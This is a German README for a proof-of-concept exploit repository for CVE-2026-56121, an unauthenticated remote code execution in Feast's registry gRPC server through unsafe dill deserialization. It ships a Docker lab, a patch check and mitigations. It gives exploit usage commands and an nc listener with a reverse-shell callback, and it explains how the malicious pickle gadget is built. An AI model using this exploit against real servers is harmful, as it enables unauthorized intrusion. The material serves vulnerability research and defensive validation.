
Proof-of-Concept-Exploit für CVE-2026-56121, eine nicht authentifizierte RCE im gRPC-Server des Feast-Registrys über unsichere dill-Deserialisierung. Enthält eine dockerisierte verwundbare Laborumgebung zum Testen und Validieren.
Unauthentifizierte Remote-Codeausführung in Feast
(< 0.63.0) über unsichere dill.loads-Deserialisierung im Registry-gRPC-Server.
Dieses Repository enthält einen eigenständigen Proof-of-Concept-Exploit und ein
dockerisiertes verwundbares Labor zur Validierung.
| CVE | CVE-2026-56121 |
| Produkt | Feast (Feature Store) — Registry-gRPC-Server |
| Betroffen | feast < 0.63.0 |
| Behoben in | 0.63.0 (Commit 835cda8) |
| Klasse | CWE-502 — Deserialisierung nicht vertrauenswürdiger Daten |
| Auswirkung | Unauthentifizierte RCE (Standardkonfiguration ist auth: no_auth) |
| Standardport | 6570/tcp (gRPC-Registry-Server) |
⚠️ Nur für autorisierte Sicherheitstests und Bildungszwecke. Führen Sie dies nur gegen das gebündelte Docker-Labor oder Systeme aus, die Ihnen gehören bzw. für die Sie ausdrücklich testen dürfen. Unautorisierte Nutzung gegen Systeme Dritter ist illegal.
Der Feast-Registry-gRPC-Handler RegistryServer.ApplyFeatureView deserialisiert die
eingehende Feature-View-Spezifikation durch den Aufruf von OnDemandFeatureView.from_proto(...) bevor
eine Autorisierungsprüfung durchgeführt wird. Für eine On-Demand-Feature-View im pandas-Modus mit
nicht leerem UDF-Body erreicht dieser Pfad PandasTransformation.from_proto, das
dill.loads(user_defined_function.body) auf angreiferkontrollierte Bytes ausführt. Da dill
Pickle-Opcodes ausführt, führt ein Objekt mit einem manipulierten __reduce__ beliebiges Python im
Serverprozess aus. Die ausgelieferte Konfiguration ist auth: no_auth und der gRPC-Server hat
keinen Authentifizierungs-Interceptor, sodass jeder, der Port 6570 erreichen kann, Codeausführung erhält.
Siehe ANALYSIS.md für den vollständigen Code-Pfad-Durchlauf und den Patch-Diff.
.
├── exploit/
│ ├── exploit.py # vollständiger PoC-Client: --check / --cmd / --reverse-shell
│ ├── poc.py # minimaler Single-File-PoC, gleiche Primitive in ~90 Zeilen
│ ├── build_protos.sh # (neu) generiert die Protobuf-Stubs aus [email protected]
│ └── protos/ # eingecheckte generierte *_pb2-Stubs (PoC ohne protoc ausführen)
├── lab/
│ ├── Dockerfile # feast==0.62.0 standardmäßig; FEAST_VERSION wählt die Version
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # minimales Feast-Projekt (auth: no_auth)
├── requirements.txt # Exploit-Abhängigkeiten: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# Registry-gRPC-Server lauscht jetzt auf localhost:6570
docker compose logs -f # auf "Grpc server started" warten
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
Sicherer Check (nicht destruktiv) — beweist, dass der Server Angreiferdaten deserialisiert, indem
eine Markierungsdatei in /tmp geschrieben und Host-Informationen zurückgegeben werden, ohne einen Shell-Befehl auszuführen:
python exploit/exploit.py --target 127.0.0.1:6570 --check
Einen Befehl ausführen und dessen Ausgabe sehen (Standardmodus):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
Interaktive Reverse-Shell — starten Sie zuerst Ihren Listener, dann liefern Sie den Payload:
# Terminal A
nc -lvnp 4444
# Terminal B (eine Adresse verwenden, die der Container zurück erreichen kann)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
Die Modi --cmd und --check starten einen kurzlebigen TCP-Listener im Exploit selbst
und geben aus, was das Ziel zurücksendet — keine externe Tooling im Ziel-Image erforderlich.
Ein abgespecktes Äquivalent befindet sich in exploit/poc.py, falls Sie die gesamte Primitive in einer
lesbaren Datei möchten:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
Hinweis zum Callback.
--check,--cmdundpoc.pyverlassen sich darauf, dass das Ziel sich mit einem Listener auf Ihrem Rechner verbindet. Die Ausführung vom Host funktioniert sofort. Wenn Sie den Exploit aus einem Container heraus ausführen, platzieren Sie ihn im Netzwerk des Labors (docker run --network lab_default ...), andernfalls wird der Payload ausgeführt, aber die Antwort kommt nie an und das Tool meldet "no callback".
Die Stubs in exploit/protos/ sind eingecheckt, sodass Sie protoc nicht benötigen. Falls Sie sie
neu generieren, verwenden Sie das Skript — es pinnt grpcio-tools absichtlich:
./exploit/build_protos.sh # läuft in einem gepinnten python:3.11-Container
protoc stempelt eine Gencode-Version in jede _pb2.py, und protobuf weigert sich, einen Stub zu
laden, dessen Gencode neuer ist als die installierte Laufzeit. Der Pin hält die Stubs auf
protobuf >= 5.29, < 8 ladbar (verifiziert gegen 5.29.6, 6.33.6 und 7.36.0).
Das Labor gegen die behobene Version neu bauen und den Exploit erneut ausführen:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
Erwartet auf 0.63.0: [-] No callback received. und keine Markierungsdatei auf dem Ziel —
der Handler übergibt skip_udf=True, sodass der UDF-Body vor der
Auth-Prüfung nie deserialisiert wird. Zurück zum verwundbaren Labor mit docker compose down && docker compose up --build -d.
cd lab && docker compose down -v
ApplyFeatureViewRequest bauen, deren on_demand_feature_view-Spezifikation
mode = "pandas" und eine feature_transformation.user_defined_function
(UserDefinedFunctionV2) mit Folgendem hat:
body_text = nicht leer (erforderlich, um den pandas-Deserialisierungszweig zu erreichen),body = ein Pickle eines Objekts, dessen __reduce__ exec(<python>) aufruft.feast.registry.RegistryServer/ApplyFeatureView senden.dill.loads(body) während from_proto aus — vor der Auth-Prüfung —
und führt den Payload aus. Der RPC selbst kann danach fehlschlagen; der Code wurde bereits ausgeführt.Der Exploit erstellt das Gadget mit dem stdlib-pickle-Modul (das dill.loads des Servers
dekodiert problemlos einfache Pickle-Opcodes), sodass die Angreiferseite nur grpcio + protobuf benötigt.
>= 0.63.0. Der Fix führt ein skip_udf=True-Flag durch
*.from_proto, sodass der Registry-Server Berechtigungen auf Spezifikations-Metadaten validiert ohne
den UDF-Body zu deserialisieren.6570) nicht für nicht vertrauenswürdige Netzwerke freigeben.auth: kubernetes / auth: oidc) statt der Standardeinstellung no_auth.